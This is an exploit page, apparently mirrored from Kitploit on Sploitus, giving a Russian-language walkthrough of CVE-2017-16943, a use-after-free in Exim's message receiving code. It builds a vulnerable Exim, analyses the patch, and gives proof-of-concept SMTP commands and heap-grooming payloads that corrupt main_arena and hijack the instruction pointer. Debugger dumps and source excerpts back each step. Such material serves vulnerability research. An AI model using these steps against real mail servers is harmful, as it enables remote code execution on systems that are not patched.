Sploitus

Exploit for CVE-2017-16943

kitploit · 2026-08-27

Exploit Code

MARKDOWN328 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-BERAPHIN-CVE-2017-16943
# CVE-2017-16943

## Настройка среды

root@kitploit:~
    
    
    git clone https://github.com/Exim/exim.git
    git checkout 01c594601670c7e48e676d6c6d32d0f0084067fa
    cd ./exim/src
    mkdir Local
    wget "https://bugs.exim.org/attachment.cgi?id=1051" -O Makefile
    

Измените переменные пути и имя пользователя в Makefile

root@kitploit:~
    
    
    cd ..
    make -j8
    sudo make install
    

После установки измените `accept hosts = :` на `accept hosts = *` в файле configure. Запуск:

root@kitploit:~
    
    
    exim -bdf -d-receive
    

## Анализ уязвимости

Эта уязвимость — UAF (использование после освобождения), она находится в функции `receive_msg` в файле `receive.c`, которая принимает ввод от клиента. Посмотрите запись патча:

root@kitploit:~
    
    
     src/src/receive.c | 7 ++++---
     1 file changed, 4 insertions(+), 3 deletions(-)
    
    diff --git a/src/src/receive.c b/src/src/receive.c
    index e7e518a..d9b5001 100644
    --- a/src/src/receive.c
    +++ b/src/src/receive.c
    @@ -1810,8 +1810,8 @@ for (;;)
       (and sometimes lunatic messages can have ones that are 100s of K long) we
       call store_release() for strings that have been copied - if the string is at
       the start of a block (and therefore the only thing in it, because we aren't
    -  doing any other gets), the block gets freed. We can only do this because we
    -  know there are no other calls to store_get() going on. */
    +  doing any other gets), the block gets freed. We can only do this release if
    +  there were no allocations since the once that we want to free. */
     
       if (ptr >= header_size - 4)
         {
    @@ -1820,9 +1820,10 @@ for (;;)
         header_size *= 2;
         if (!store_extend(next->text, oldsize, header_size))
           {
    +      BOOL release_ok = store_last_get[store_pool] == next->text;
           uschar *newtext = store_get(header_size);
           memcpy(newtext, next->text, ptr);
    -      store_release(next->text);
    +      if (release_ok) store_release(next->text);
           next->text = newtext;
           }
         }
    

Сначала поясним назначение нескольких глобальных переменных:

root@kitploit:~
    
    
    current_block: текущий storeblock, при следующем вызове store_get_3 сначала ищется свободная область в этом storeblock
    next_yield: указывает на начальный адрес свободной области в current_block; как правило, верхняя часть storeblock используется, нижняя свободна
    yield_length: длина next_yield
    

Анализ PoC от meh показывает, что непатченная программа может вызвать UAF через следующий процесс компоновки кучи: Сначала в функции `receive_msg` делаем так, чтобы `next->text` стал начальным буфером storeblock: ![1](https://assets.kitploit.com/production/public/readmes/23221/a05163f7c2c25e871b74b159180399e39191ca2adba0d9e482ce4155100d5753.png)

Затем с помощью команды `bdat` выделите буфер под этим text.  
Почему используется команда `bdat`?  
На самом деле, команды как `auth plain` или недопустимые команды из непечатных символов также могут выделить буфер под text, но другие инструкции заставят функцию `receive_msg` завершиться.  
После повторного входа в `receive_msg` `next->text` будет указывать на другую область, поэтому уязвимость не сработает.  
Команда `bdat` не завершает текущую функцию `receive_msg` — это очень важно. ![2](https://assets.kitploit.com/production/public/readmes/23221/7dae259ed9bfac9cc3bdc32331cea2a7744006d9742aa8346a166dac297e83cd.png)

Затем непрерывно отправляйте символы, пока `next->text` не заполнится (изначально 0x100), после чего программа перейдёт к уязвимому месту.  
В `store_extend` обнаруживается, что из-за буфера `bdat` расширение невозможно, поэтому выполняется `store_get`, получающий область, на которую указывает `next_yield`, а затем вызывается `store_release`.  
В этой функции проверяется только, является ли освобождаемый блок началом storeblock, но не проверяется, есть ли за ним другие буферы, поэтому storeblock просто освобождается.  
В результате адрес, возвращаемый `store_get`, всё ещё находится внутри `current_block`, но сразу после этого `current_block` освобождается, что приводит к UAF.

## Перехват RIP

Здесь мы шаг за шагом разберём, как перехватить RIP, используя PoC код.

root@kitploit:~
    
    
    ehlo('test')
    r.sendline("MAIL FROM:<test@localhost>")
    r.recvline()
    r.sendline("RCPT TO:<test@localhost>")
    r.recvline()
    unrec('a'*0x1100+'\x7f')
    

Сначала отправьте кучу данных. Цель — сделать `yield_length` меньше 0x130, но больше 0x30.  
Почему это нужно? Посмотрим на начало функции `receive_msg`:

root@kitploit:~
    
    
    ...
    File: receive.c
    1700: received_header = header_list = header_last = store_get(sizeof(header_line));
    1701: header_list->next = NULL;
    1702: header_list->type = htype_old;
    1703: header_list->text = NULL;
    1704: header_list->slen = 0;
    1705: 
    1706: /* Control block for the next header to be read. */
    1707: 
    1708: next = store_get(sizeof(header_line));
    1709: next->text = store_get(header_size);
    ...
    

Видно, что перед выделением `next->text` выделяются два буфера размером `sizeof(header_line)` (0x18).  
Если после выделения этих двух блоков размер `yield_length` станет меньше 0x100, то при выделении `next->text` внутри `store_get` будет выделен новый storeblock, и `next->text` будет находиться в начале этого storeblock.

Затем вызываем команду `bdat`:

root@kitploit:~
    
    
    r.sendline('BDAT 1')
    r.sendline(':BDAT \xdd')
    

Эта команда содержит непечатный символ, что приводит к вызову `store_get` для выделения буфера под сообщение об ошибке:

root@kitploit:~
    
    
    pwndbg> hexdump 0x71d0e0 
    +0000 0x71d0e0  42 44 41 54  20 5c 33 33  35 00 20 63  68 75 6e 6b  │BDAT│.\33│5..c│hunk│
    +0010 0x71d0f0  35 30 31 20  6d 69 73 73  69 6e 67 20  73 69 7a 65  │501.│miss│ing.│size│
    +0020 0x71d100  20 66 6f 72  20 42 44 41  54 20 63 6f  6d 6d 61 6e  │.for│.BDA│T.co│mman│
    +0030 0x71d110  64 0a 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │d...│....│....│....│
    

(Даже если недопустимая инструкция содержит непечатные символы, это может привести к дополнительному выделению кучи.)

Теперь непрерывно отправляем символы:

root@kitploit:~
    
    
    unrec('a'*6 + p64(0xdeadbeef)*(0x1e00/8))
    

Постепенно байты будут записываться в `next->text`. Когда свободная область размером 0x100 заполнится, программа дойдёт до уязвимого кода для расширения `next->text`.  
Сначала вызывается `store_extend(next->text, oldsize, header_size)` для попытки расширения:

root@kitploit:~
    
    
    File: store.c
    266: BOOL
    267: store_extend_3(void *ptr, int oldsize, int newsize, const char *filename,
    268:   int linenumber)
    269: {
    270: int inc = newsize - oldsize;
    271: int rounded_oldsize = oldsize;
    272: 
    273: if (rounded_oldsize % alignment != 0)
    274:   rounded_oldsize += alignment - (rounded_oldsize % alignment);
    275: 
    276: if (CS ptr + rounded_oldsize != CS (next_yield[store_pool]) ||
    277:     inc > yield_length[store_pool] + rounded_oldsize - oldsize)
    278:   return FALSE;
    ...
    

Основная проверка в строках 276–277.  
Первое условие — находится ли за расширяемым указателем ptr сразу `next_yield`.  
Второе — достаточно ли места с учётом `yield_length`.  
Очевидно, первое условие не выполняется, потому что за `next->text` идёт буфер `bdat`, а потом уже `next_yield`.

Затем вызывается `store_get` для выделения нового блока, который располагается на `next_yield`.  
После этого вызывается `store_release` для освобождения исходного `next->text`. Обратите внимание на логику проверки:

root@kitploit:~
    
    
    File: store.c
    448: void
    449: store_release_3(void *block, const char *filename, int linenumber)
    450: {
    451: storeblock *b;
    452: 
    453: /* It will never be the first block, so no need to check that. */
    454: 
    455: for (b = chainbase[store_pool]; b != NULL; b = b->next)
    456:   {
    457:   storeblock *bb = b->next;
    458:   if (bb != NULL && CS block == CS bb + ALIGNED_SIZEOF_STOREBLOCK)
    459:     {
    ...
    482:     free(bb);
    483:     return;
    484:     }
    485:   }
    486: }
    487: 
    
    

Программа проходит по цепочке storeblock, начиная с `chainbase`, по указателю `next`, и если освобождаемый блок находится в начале какого-то storeblock (второе условие в строке 455), этот storeblock освобождается.  
Но в этот момент `current_block` указывает на эту кучу, и новый `next->text` тоже находится внутри этой кучи, поэтому происходит UAF.  
После освобождения куча `current_block` попадает в unsorted bin:

root@kitploit:~
    
    
    pwndbg> tel &current_block
    00:0000│   0x6e8ec0 (current_block) —▸ 0x71cfd0 —▸ 0x7ffff69abb78 (main_arena+88) —▸ 0x725020 ◂— 0x0
    01:0008│   0x6e8ec8 (current_block+8) —▸ 0x723010 ◂— 0x0
    02:0010│   0x6e8ed0 (current_block+16) ◂— 0x0
    ... ↓
    04:0020│   0x6e8ee0 (chainbase) —▸ 0x70ff80 ◂— 0x0
    05:0028│   0x6e8ee8 (chainbase+8) —▸ 0x6f3b30 —▸ 0x6f8cb0 —▸ 0x71eff0 —▸ 0x723010 ◂— ...
    06:0030│   0x6e8ef0 (chainbase+16) ◂— 0x0
    ... ↓
    pwndbg> 
    

Теперь `main_arena` добавляется в цепочку storeblock.

По мере поступления символов исходный `next->text` неоднократно расширяется через `store_extend`.  
Хотя `current_block` уже освобождён, `next_yield` по-прежнему указывает внутрь `current_block`, что позволяет `next->text` расширяться через `store_extend`, пока не заполнит весь `current_block`.  
Когда расширение становится невозможным, снова вызывается `store_get` для получения нового блока:

root@kitploit:~
    
    
    File: store.c
    128: void *
    129: store_get_3(int size, const char *filename, int linenumber)
    130: {
    ...
    137: if (size % alignment != 0) size += alignment - (size % alignment);
    138: 
    139: /* If there isn't room in the current block, get a new one. The minimum
    140: size is STORE_BLOCK_SIZE, and we would expect this to be the norm, since
    141: these functions are mostly called for small amounts of store. */
    142: 
    143: if (size > yield_length[store_pool])
    144:   {
    145:   int length = (size <= STORE_BLOCK_SIZE)? STORE_BLOCK_SIZE : size;
    146:   int mlength = length + ALIGNED_SIZEOF_STOREBLOCK;
    147:   storeblock * newblock = NULL;
    148: 
    149:   /* Sometimes store_reset() may leave a block for us; check if we can use it */
    150: 
    151:   if (  (newblock = current_block[store_pool])
    152:      && (newblock = newblock->next)
    153:      && newblock->length < length
    154:      )
    155:     {
    156:     /* Give up on this block, because it's too small */
    157:     store_free(newblock);
    158:     newblock = NULL;
    159:     } 
    ...
    

В строках 151–153 программа пытается получить `current_block->next` и проверяет, достаточно ли он велик. Если нет, он освобождается.  
Обратите внимание: `current_block` сейчас находится в unsorted bin, `current_block->next` указывает на `main_arena`, последнее условие не выполняется, поэтому `newblock = main_arena`.

root@kitploit:~
    
    
    File: store.c
    176:   current_block[store_pool] = newblock;
    177:   yield_length[store_pool] = newblock->length;
    178:   next_yield[store_pool] =
    179:     (void *)(CS current_block[store_pool] + ALIGNED_SIZEOF_STOREBLOCK);
    180:   (void) VALGRIND_MAKE_MEM_NOACCESS(next_yield[store_pool], yield_length[store_pool]);
    181:   }
    ...
    186: store_last_get[store_pool] = next_yield[store_pool];
    ...
    211: return store_last_get[store_pool];
    

Программа напрямую возвращает `main_arena` как новый буфер. Затем в строке 1824 содержимое старого блока копируется в новый, то есть перезаписывается `main_arena`.

root@kitploit:~
    
    
    File: receive.c
    1816:   if (ptr >= header_size - 4)
    1817:     {
    1818:     int oldsize = header_size;
    1819:     /* header_size += 256; */
    1820:     header_size *= 2;
    1821:     if (!store_extend(next->text, oldsize, header_size))
    1822:       {
    1823:       uschar *newtext = store_get(header_size);
    1824:       memcpy(newtext, next->text, ptr);
    1825:       store_release(next->text);
    1826:       next->text = newtext;
    1827:       }
    1828:     }
    

Эта перезапись напрямую затронет `free_got`, поэтому последующими простыми действиями можно перехватить RIP.

## Ссылки

https://bugs.exim.org/show_bug.cgi?id=2199

https://paper.seebug.org/469/